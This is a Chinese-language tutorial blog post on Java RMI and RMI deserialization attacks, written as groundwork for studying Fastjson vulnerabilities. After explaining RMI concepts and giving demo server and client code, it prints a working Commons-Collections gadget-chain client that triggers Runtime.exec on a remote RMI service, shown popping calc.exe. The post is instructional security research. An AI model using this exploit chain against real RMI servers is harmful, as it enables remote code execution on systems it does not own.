Java安全之RMI反序列化

Java安全之RMI反序列化

Java安全之RMI反序列化

0x00 前言

在分析Fastjson漏洞前,需要了解RMI机制和JNDI注入等知识点,所以本篇文来分析一下RMI机制。

在Java里面简单来说使用Java调用远程Java程序使用的就是RMI,调用C的程序调用的是JNI,调用python程序使用到的是Jython。RMI、JNI、Jython,其实在安全中都能发挥比较大的作用。 JNI在安全里面的运用就比较大了,既然可以调用C语言,那么后面的。。自行脑补。这个暂且忽略不讲,后面再说。如果使用或了解过python编写burp的插件的话,对这个Jython也不会陌生,如果说pthon的插件就需要安装一个Jython的jar包。这个后面再说。这里主要讲RMI,该机制会在反序列化中频繁运用,例如Weblogic的T3协议的反序列化漏洞。

概念

在了解RMI前还需要弄懂一些概念。

RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。

Java本身对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议。

JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
JNDI :Java命名和目录接口(the Java naming and directory interface,JNDI)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。

0x01 RMI作用

RMI概述

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

不同于socket,RMI中分为三大部分:Server、Client、Registry 。

Server: 	提供远程的对象
Client:		调用远程的对象
Registry:	一个注册表,存放着远程对象的位置(ip、端口、标识符)

RMI基础运用

前面也说过RMI可以调用远程的一个Java的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote接口。

  1. 定义一个远程的接口
package com.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface rmidemo extends Remote {
    public String hello() throws RemoteException;
}

在定义远程接口的时候需要继承java.rmi.Remote接口,并且修饰符需要为public否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException的异常。

  1. 编写一个远程接口的实现类
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{


    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("构造方法");
    }

    public String hello() throws RemoteException {
        System.out.println("hello方法被调用");
        return "hello,world";
    }
}

在编写该实现类中需要将该类继承UnicastRemoteObject

  1. 创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class servet {
    public static void main(String[] args) throws RemoteException {
        rmidemo hello = new RemoteHelloWorld();//创建远程对象
        Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
        registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello

    }
}

到了这一步,简单的RMI服务端的代码就写好了。下面来写一个客户端调用该远程对象的代码。

  1. 编写客户端并且调用远程对象

    package com.rmi.rmiclient;
    
    
    
    import com.rmi.RemoteHelloWorld;
    import com.rmi.rmidemo;
    
    import java.rmi.NotBoundException;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class clientdemo {
        public static void main(String[] args) throws RemoteException, NotBoundException {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
            // 利用注册表的代理去查询远程注册表中名为hello的对象
            rmidemo hello = (rmidemo) registry.lookup("hello");
            // 调用远程方法
            System.out.println(hello.hello());
        }
    }
    

在这一步需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。网上有很多分析RMI传输流量的文章,可以去找找看这里就不做演示了。

0x02 RMI 反序列化攻击

需要使用到RM进行反序列化攻击需要两个条件:接收Object类型的参数、RMI的服务端存在执行命令利用链。

这里对上面得代码做一个简单的改写。

远程接口代码:

package com.rmidemo;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    public String hello(String hello) throws RemoteException;

    void work(Object obj) throws RemoteException;

    void  say() throws RemoteException;

}

需要定义一个object类型的参数方法。

远程接口实现类代码:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
    protected UserImpl() throws RemoteException {
    }

    protected UserImpl(int port) throws RemoteException {
        super(port);
    }

    protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
        super(port, csf, ssf);
    }


    public String hello(String hello) throws RemoteException {
        return "hello";
    }

    public void work(Object obj) throws RemoteException {
        System.out.println("work被调用了");
    }

    public void say() throws RemoteException {
        System.out.println("say");
    }
}


server 代码:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException {

        User user = new UserImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("user",user);
        System.out.println("rmi running....");
    }
}

client代码:

package com.rmidemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception {
        String url = "rmi://192.168.20.130:1099/user";
        User userClient = (User) Naming.lookup(url);


        userClient.work(getpayload());

    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }


}

执行客户端后就会执行我们设置好要执行的命令,也就是弹出计算器。之所以会被执行的原因前面也说过RMI在传输数据的时候,会被序列化,传输的时序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行。至于序列化数据怎么构造,这个其实分析过CC链就一目了然了,这里不做赘述。

<span>Java安全之RMI反序列化</span>

参考文章

https://xz.aliyun.com/t/6660#toc-6
https://xz.aliyun.com/t/4711#toc-8

0x03 结尾

在RMI的攻击手法中,其实不止文中提到的这么一个,但是这里就先告一段落先。现在的主要是为了分析Fastjson漏洞做一个前置准备,不多太深的研究。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/2692.html原文链接:https://javaforall.net

(0)
上一篇 2020年11月20日 下午3:33
下一篇 2020年11月20日 下午3:34


相关推荐

  • window修改host文件权限_win10hosts文件在哪

    window修改host文件权限_win10hosts文件在哪文章目录第一步进入host目录下第二步编辑hosts文件中users用户的属性第三步授权users用户完全控制权限第四步编辑hosts文件第一步进入host目录下第二步编辑hosts文件中users用户的属性第三步授权users用户完全控制权限第四步编辑hosts文件格式IP地址(空格)网址202.108.22.5www.baidu.com…

    2022年10月10日
    5
  • 8000401a 错误及解决办法「建议收藏」

    8000401a 错误及解决办法「建议收藏」将web程序部署到服务器上时,偶尔会遇到下面的错误:System.Runtime.InteropServices.COMException(0x8000401A):检索COM类工厂中CLSID为{91493441-5A91-11CF-8700-00AA0060263B}的组件时失败,原因是出现以下错误:8000401a。在MSOfficeDocUtils.Powe…

    2022年7月25日
    6
  • OpenCode —爆火的开源AI 编程利器

    OpenCode —爆火的开源AI 编程利器

    2026年3月14日
    1
  • pydroid3安装scrapy_安装scrapy框架

    pydroid3安装scrapy_安装scrapy框架修改Anaconda镜像源condaconfig–addchannelshttps://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/condaconfig–setshow_channel_urlsyes此时在C:\Users\Administrator(这里是电脑用户名)下就会生成配置文件.condarcchannels:-https://mirrors.tuna.tsinghua.edu.cn/anaco

    2026年1月14日
    5
  • ubuntu12.04安装deadbeef

    ubuntu12.04安装deadbeef今天在 linux 吧 nbsp nbsp 被几位大神吐槽了 nbsp nbsp 可能是因为问题太愚蠢了吧 nbsp 具体是什么问题 nbsp 还真不好意思说 nbsp nbsp 想想还是自己解决吧 nbsp nbsp 看看源码 nbsp 自己学着来听说 deadbeef 比较是 linux 下比较好的音乐播放器 nbsp nbsp 装了看看做一下记录 nbsp nbsp 发现自己的 ubuntu12 04 装了太多东西 nbsp 真的得好好记录装了什么 nbsp nbsp nbsp 之前 wine 后装了个 deepin nbsp mus

    2025年10月14日
    6
  • 【项目实战】登录与注册业务的实现(前端+后端+数据库)

    【项目实战】登录与注册业务的实现(前端+后端+数据库)本示例基于 Vue js 和 mintUI 实现 目录一 数据库的创建二 后端接口与数据库的连接三 前端代码实现 1 注册页相关代码 2 注册页效果 3 登录页相关代码 4 登录页效果四 注册登录演示一 数据库的创建此处以 Navicat 软件进行创建 新建数据库 reg log sql 与数据表 reg log 为了实现注册业务 我们在数据库中设计 ID 用户名 密码 邮箱 电话号 5 个字段 创建结束后保存 便可

    2025年9月26日
    5

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号